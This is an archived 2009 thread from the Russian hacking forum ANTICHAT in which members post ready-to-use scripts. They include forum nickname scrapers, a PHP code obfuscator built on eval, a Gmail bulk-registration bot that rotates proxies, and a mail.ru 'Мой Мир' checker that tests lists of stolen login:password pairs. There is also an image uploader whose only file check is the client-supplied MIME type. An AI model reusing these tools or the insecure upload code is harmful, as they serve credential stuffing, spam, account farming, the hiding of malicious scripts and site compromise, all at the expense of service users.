ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

19.04.2009, 01:15
|
|
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме: 3250478
Репутация:
999
|
|
Простой хостинг картинок. Очень быстро работает
PHP код:
<style>*{overflow-x: hidden; overflow-y: hidden;}
table{text-align:center;}form{width:500px;margin-top:90px;padding:5px;background-color:#fff;border:1px solid #ccc;}</style>
<CENTER>
<FORM method="POST" action="index.php" enctype="multipart/form-data">
<TABLE align="center">
<TR>
<TD></TD>
<TD><B>Бесплатный хостинг картинок</B></TD>
<TD></TD>
</TR>
<TR>
<TD>Choose a file to upload: </TD>
<TD><input name="uploadedfile" type="file" /></TD>
<TD><INPUT TYPE="submit" value="Upload File"></TD>
</TR>
</TABLE>
<?php
$upload=$_FILES["uploadedfile"];
$max_size=600000; // Byte
$serv="http://".$_SERVER["HTTP_HOST"]."/img/";
$dir=$_SERVER["DOCUMENT_ROOT"];
$dir=$dir."/img/uploaded/";
$allow=array("image/png","image/jpeg","image/gif","image/bmp");
if($upload){
//name
$type=$upload["type"];
$name=$upload["name"];
$tmp =$upload["tmp_name"];
$size=$upload["size"];
if($size==$max_size or $size<$max_size and $tmp){
if(in_array($type,$allow)){
$get=get($type);
$l=md5(microtime()*time());
$link=$l[0].$l[1].$l[2].$l[3].$l[4].$l[5].$l[6].$l[7];
$dir=$dir.$link.$get;
$md5=md5(file_get_contents($tmp));
$scan=scan($md5);
if($scan){
$link=$scan;
$get="";
}else{
copy($tmp,$dir);
}
$link=$serv."uploaded/".$link.$get;
}else{
$error="Такое разрешение - запрещено :-(";
}
}else{
$error="Слишком большой размер или отсутствует файл...";
}
if($error){echo "<B>Ошибка:</B><font color=red>$error</font><BR>\n";}else{
echo "<B>Успешно:</B> <font color=green>$link</font><BR>"."<A HREF=\"$link\">$link</A><BR>\n".
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"$link\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n".
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"[img]".$link."[/img]\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n";}
}
?>
</FORM>
</CENTER>
<?php
function scan($md5){
global $dir;
$dirs=scandir("uploaded/");
foreach($dirs as $v){
if($v!=="." and $v!==".."){
$md=md5(file_get_contents("uploaded/$v"));
if($md==$md5){return $v;}
//echo $v."<br>";
}
}
}
function get($type){
global $allow;
foreach($allow as $v){
if($type==$v){
list($t,$ext)=explode("/",$v);
return ".".$ext;
}
}
}
?>
|
|
|

20.04.2009, 13:45
|
|
Новичок
Регистрация: 27.06.2008
Сообщений: 22
Провел на форуме: 148226
Репутация:
19
|
|
Можете скинуть парсер ников для phpBB или IPB?
|
|
|

20.04.2009, 14:05
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
IPB:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print A join "\n", @nicknames;}
phpBB:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print A join "\n", @nicknames;}
Последний раз редактировалось ph1l1ster; 20.04.2009 в 14:16..
|
|
|

20.04.2009, 17:33
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Ретрекер демоноида, для забаненых украинцев:
http://mrthe.name/2009/04/retracker-demonoid/
да, я пиарю свой блог.
|
|
|

20.04.2009, 18:27
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
Forums Nicknames Grabber
#============================
#Forums nicknames grabber
#C0ded by ph1l1ster
#ICQ: 612-672
#============================
Граббер неймов с форумов:
Код:
1 - vBulletin
2 - phpBB
3 - IPB
4 - SMF
5 - MyBB
6 - Woltlab Burning Board
7 - PunBB
8 - XMBForum
9 - FUDforum
10 - Ikonboard
граббит по дефолтным настройкам, не настроен на хаки типа html страниц. если неграббится: проверьте url, http://site.ru/forum/ (полный путь до форума, со всеми слэшами)
Enter numbers of page witch users - это колличество страниц с именами. (для непонятливых)
Сохраняет всё в тхт.
Код:
#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
#============================#
# Forums nicknames grabber #
# C0ded by ph1l1ster #
# ICQ: 612-672 #
#============================#\n
Forum for parsing?\n\n1 - vBulletin\n2 - phpBB\n3 - IPB
4 - SMF\n5 - MyBB\n6 - Woltlab Burning Board\n7 - PunBB
8 - XMBForum\n9 - FUDforum\n10 - Ikonboard\n\n> );
$do = <STDIN>;chomp($do);
#vbulletin
if ($do == 1){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (VB, ">>vbulletin_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?do=getall&order=asc&sort=username&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?u=.*\">(.*)<\/a>/g;
print VB join "\n", @nicknames;}}
#phpbb
if ($do == 2){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (PHPBB, ">>phpbb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print PHPBB join "\n", @nicknames;}}
#ipb
if ($do == 3){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IPB, ">>ipb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print IPB join "\n", @nicknames;}}
#smf
if ($do == 4){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (SMF, ">>smf_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?action=mlist;start=".$count."0";
$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?action=profile.*\" title=\".*\">(.*)<\/a>/g;
print SMF join "\n", @nicknames;}}
#mybb
if ($do == 5){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (MYBB, ">>mybb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=profile.*\">(.*)<\/a>/g;
print MYBB join "\n", @nicknames;}}
#Woltlab Burning Board
if ($do == 6){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (WBB, ">>wmm_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?page=MembersList&pageNo=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http.*index.*?page=User.*\" title=\".*\">(.*)<\/a><\/p><p class=\"/g;
print WBB join "\n", @nicknames;}}
#PunBB
if ($do == 7){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (PUNBB, ">>punbb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."userlist.php?p=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*?id=.*\">(.*)<\/a><\/td>/g;
print PUNBB join "\n", @nicknames;}}
#XMB
if ($do == 8){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."misc.php?action=list&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=viewpro.*member=.*\">(.*)<\/a>/g;
print join "\n", @nicknames;}}
if ($do == 9){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?t=finduser&&&start=".$count."0";
$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"index.*usrinfo.*id=.*\">(.*)<\/a><\/td>/g;
print join "\n", @nicknames;}}
#Ikonboard
if ($do == 10){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IKB, ">>ikb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.cgi?page=".$count++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*action=show.*member=.*\"><b>(.*)<\/b><\/a>/g;
print IKB join "\n", @nicknames;}}
|
|
|

20.04.2009, 18:34
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
php криптор от KALLISTO v1.2
PHP код:
<pre><?
// 2:52 27.07.2007
#######################################
#######################################
######## PHPCrypt ####### public
######## Ver. 1.2 #######
#######################################
#######################################
######## KALLISTO #######
######## 98009800 #######
#######################################
#######################################
$jsCrypt = 0; // 1 - on, 0 - off ява крипт
$input = "1.php"; // файл который надо криптануть
$output = "index.php"; // выходяший криптованный файл
#################################
///
$f=join("", file($input));
$key = rand(1,100);
$find = 0;
$start_pos = strpos($f, "<?php");
if($start_pos === false )
{
$start_pos = strpos($f, "<?");
if($start_pos !== false )
{
$find=1;
$f= substr($f, $start_pos+2, strlen($f));
}
}
else
{
$find=1;
$f= substr($f, $start_pos+5, strlen($f));
}
if($find==0) exit("Крипт скрипта неполучится.");
$start_pos = strrpos($f, "?>");
if(is_int($start_pos))$f=substR($f, 0, $start_pos);
$new = '';$len=strlen($f);
for($i=0;$i<$len;$i++)
{
$new .= chr(ord($f[$i]) ^ $key);
}
$new = str_replace("<?", "[t1]", $new);
$new = str_replace("'", "[t3]", $new);
$jsPre='';
$jsAfter='';
if($jsCrypt == 1)
{
$jsPre="
function jsCrypt(\$buffer)
{
\$return = \$buffer;
\$new = '';
for(\$i=0;\$i<strlen(\$buffer);\$i++)
{
\$tmp = ord(\$buffer[\$i]);
if(\$tmp<100) \$tmp = \"0\".\$tmp;
if(\$tmp<10) \$tmp = \"0\".\$tmp;
\$new .= \$tmp;
}
\$return = \"<script>
var len = \".strlen(\$buffer).\";
var str = '\$new';
var tmp = '';
for(i=0;i<len;i++)
{
// String.fromCharCode(str.substr(i*3, 3) )
document.write( String.fromCharCode(str.substr(i*3, 3) ) );
}
</script>\";
return \$return;
}
ob_start(\"jsCrypt\");";
$jsAfter="ob_end_flush();";
}
$code = "<?
$jsPre
\$key=$key;
\$res ='$new';
\$str=str_replace(\"[t1]\", \"<?\", \$res);
\$str=str_replace(\"[t3]\", \"'\", \$str);
\$len=strlen(\$str);
\$ev='';
for(\$i=0;\$i<\$len;\$i++)
\$ev .= chr(ord(\$str[\$i]) ^ \$key);
eval(\$ev);
$jsAfter;
?>";
@fwrite( fopen($output, "w"), $code) or die("Не удалось создать файлик...");
?>
</pre>
|
|
|

21.04.2009, 00:44
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Скрипт для рассылки по контакт листу mail.ru agent. Особо не тестил, ибо нет аккаунтов.
http://kaimi.ru/wp-content/uploads/2009/04/mrim.rar
|
|
|

21.04.2009, 01:35
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
gmail регер с ручным вводом капчи
PHP код:
<?php
$password = "vv12345";
set_time_limit(300);
function generateCode($length=6) {
$chars = "abcdefghijklmnopqrstuvwxyz";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
function generateDigits($length=6) {
$chars = "0123456789";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
$proxies;
$proxiesFile = fopen("proxies.txt","r+");
while(!feof($proxiesFile)){
$proxy = fgets($proxiesFile,4096);
$delimPos = strpos($proxy, ":");
$ip = substr($proxy, 0, $delimPos);
$port = substr($proxy, $delimPos+1, strlen($proxy));
$proxies[]= array($ip,$port);
}
$lastURL="";
function getPageWithProxy($URL,$data,$referer,$badString,$proxyType='') {
global $lastURL;
global $proxies;
$proxyArrSize = count($proxies);
$cp = curl_init($URL);
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.0; us; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.666";
curl_setopt($cp, CURLOPT_USERAGENT, $useragent);
curl_setopt($cp, CURLOPT_RETURNTRANSFER,1);
curl_setopt($cp, CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($cp, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($cp, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($cp, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($cp, CURLOPT_VERBOSE, 1);
$cookieFilename = "cookies.txt";
if(substr(PHP_OS, 0, 3) == 'WIN' && strpos($cookieFilename,"/")===FALSE){
$cookieFilename = str_replace('\\','/', getcwd().'/'.$cookieFilename);
}
curl_setopt($cp, CURLOPT_COOKIEJAR, $cookieFilename);
curl_setopt($cp, CURLOPT_COOKIEFILE, $cookieFilename);
if($data!=""){
curl_setopt($cp, CURLOPT_POST, 1);
curl_setopt($cp, CURLOPT_POSTFIELDS,$data);
}
if($referer!=""){
curl_setopt($cp, CURLOPT_REFERER, $referer);
}
if($proxyType=="socks4"){
curl_setopt($cp,CURLOPT_PROXYTYPE,4);
}
$success = false;
for($i=0; $i<2*$proxyArrSize; $i++){
$num = rand(0,$proxyArrSize-1);
$ip = $proxies[$num][0];
$port = $proxies[$num][1];
curl_setopt($cp, CURLOPT_PROXY, "$ip".":"."$port");
$code = curl_exec($cp);
$lastURL = curl_getinfo($cp,CURLINFO_EFFECTIVE_URL);
if(curl_errno($cp)==0 && curl_getinfo($cp,CURLINFO_HTTP_CODE)==200){
$badPos = 0;
if($badString != ""){
$badPos = strpos($code, $badString);
}
if($badPos==0){
$success = true;
break;
}
}
}
curl_close($cp);
if ($success == true){
return $code;
}else{
return false;
}
}
if(!isset($_POST["go"])){
$code = getPageWithProxy("http://gmail.com","","","","socks4");
$code = getPageWithProxy("http://mail.google.com/mail/signup","",$lastURL,"","socks4");
$doc = new DOMDocument();
$doc->loadHTML($code);
function getInputByName($domDocument,$name){
$inputList = $domDocument->getElementsByTagName("input");
for($c=0; $c<$inputList->length; $c++){
$atts = $inputList->item($c)->attributes;
if($atts->getNamedItem("name")->nodeValue==$name){
return $atts->getNamedItem("value")->nodeValue;
break;
};
}
}
$captchaURL = getInputByName($doc,"newaccounturl");
$continue = getInputByName($doc,"continue");
$data = "continue=".urlencode($continue)."&";
$data = $data."service=mail&type=2&t=null&";
$data = $data."dsh=".getInputByName($doc,"dsh")."&";
$data = $data."edk=gmail.com&p=&";
$data = $data."Passwd=$password&PasswdAgain=$password&PersistentCookie=no&";
$data = $data."rmShown=1&smhhk=1&&smhck=1&nshk=1&selection=What+is+your+primary+frequent+flyer+number&";
$data = $data."ownquestion=&IdentityAnswer=".generateDigits(rand(2,3))."&SecondaryEmail=&hl=en&loc=US&";
$data = $data."newaccounttoken=".getInputByName($doc,"newaccounttoken")."&";
$data = $data."newaccounturl=".urlencode($captchaURL)."&";
$data = $data."newaccounttoken_audio=".getInputByName($doc,"newaccounttoken_audio")."&";
$data = $data."newaccounturl_audio=".urlencode(getInputByName($doc,"newaccounturl_audio"))."&";
$data = $data."program_policy_url=".urlencode(getInputByName($doc,"program_policy_url"))."&";
$data = $data."privacy_policy_url=".urlencode(getInputByName($doc,"privacy_policy_url"))."&";
$data = $data."requested_tos_location=US&requested_tos_language=en&";
$data = $data."served_tos_location=US&served_tos_language=en&";
$data = $data."submitbutton=".urlencode(getInputByName($doc,"submitbutton"));
?>
<html>
<head/>
<body>
<form method="post" action="gmreger.php">
<input type="hidden" name="continue" value="<?php echo $continue ?>" />
<input type="hidden" name="data" value="<?php echo $data ?>" />
<input type="hidden" name="lastURL" value="<?php echo $lastURL ?>" />
<table>
<tr>
<td>
Enter keyword:
</td>
<td>
<input name="keyword" value=""></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<img alt="captcha" src="<?php echo $captchaURL ?>" />
</td>
</tr>
<tr>
<td>
Enter captcha:
</td>
<td>
<input name="captcha"></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<input type="submit" name="go" width="150" value="go"/>
</td>
</tr>
</table>
</form>
</body>
</html>
<?php
}else{
$words = preg_split('/ /',$_POST["keyword"]);
$firstname = $words[0];
$lastname;
$login = substr($firstname,0,9);
if(count($words)>1){
$lastname = $words[1];
$login = $login . substr($lastname,0,4);
}else{
$lastname = $words[0];
$login = $login . substr($lastname,1,7);
}
$login = strtolower($login . generateCode(2).generateDigits(2));
$data = "FirstName=".$firstname."&LastName=".$lastname."&";
$data = $data."UsernameSelector=header&Email=".$login."&";
$data = $data."newaccountcaptcha=".$_POST["captcha"]."&";
$data = $data.$_POST["data"];
$regURL = "https://www.google.com/accounts/CreateAccount?service=mail&".urlencode($_POST["continue"])."&type=2";
echo getPageWithProxy($regURL,$data,$_POST["lastURL"],"","socks4");
}
?>
|
|
|

21.04.2009, 18:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Небольшая функция для расшифровки простых обфускаций, например как тут или тут
PHP код:
function decrypt($data,$filename='',$times=1)
{
error_reporting(0);
function bulk($str)
{
$str = preg_replace('~^\?\>~','',$str);
return str_ireplace(array('<?php','<?','?>','eval','__FILE__'),array('','','/*','echo','$_FILE__'),$str);
}
$f = $data;
$_FILE__=$filename;
for ($i=0;$i<$times;$i++)
{
ob_start();
eval(bulk($f));
$f = ob_get_contents();
ob_end_clean();
}
return preg_replace(array('~^\?\>~','~\<\?$~'),'',$f);
}
Способ применения - $data - содержимое интересующего скрипта, например file_get_contents('encrypted.php')
$filename - путь до файла, некоторые защиты привязываются к __FILE__ например
$count - количество раз для снятия защиты, подбирается экспериментально, например для DLE - это 1, а для RedButton VVS Edition 5 или 6.
Последний раз редактировалось Gifts; 21.04.2009 в 18:27..
|
|
|

22.04.2009, 11:13
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме: 3009843
Репутация:
204
|
|
Чекер акков соц. сети "Мой Мир"
PHP код:
<?//СПС mr.grek
set_time_limit(0);
$accs = file ("accs.txt");
$unaccs = array_unique ($accs);
$in = count ( $accs );
$all = count ( $unaccs );
for($i = 0; $i < $all;$i ++)
{
$buffer = trim($unaccs[$i]);
list ($email, $pass) = explode(":", $buffer);
list ($login, $domain) = explode("@", $email);
$url = "http://my.mail.ru/cgi-bin/auth";
$referer = "http://my.mail.ru/cgi-bin/login?page=http%3A%2F%2Fmy.mail.ru%2F";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Login=$login&omain=$domain&Password=$pass");
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$result = curl_exec($ch);
if(preg_match("#Новое сообщение#", $result))
{
$fp = fopen("good.txt", "a+");
fwrite($fp, $buffer);
}
else
{
$fp = fopen("bad.txt", "a+");
fwrite($fp, $buffer);
}
}
?>
В accs.txt ложим акии формата
login@mail.ru:12345
Последний раз редактировалось Shaitan-Devil; 22.04.2009 в 11:37..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|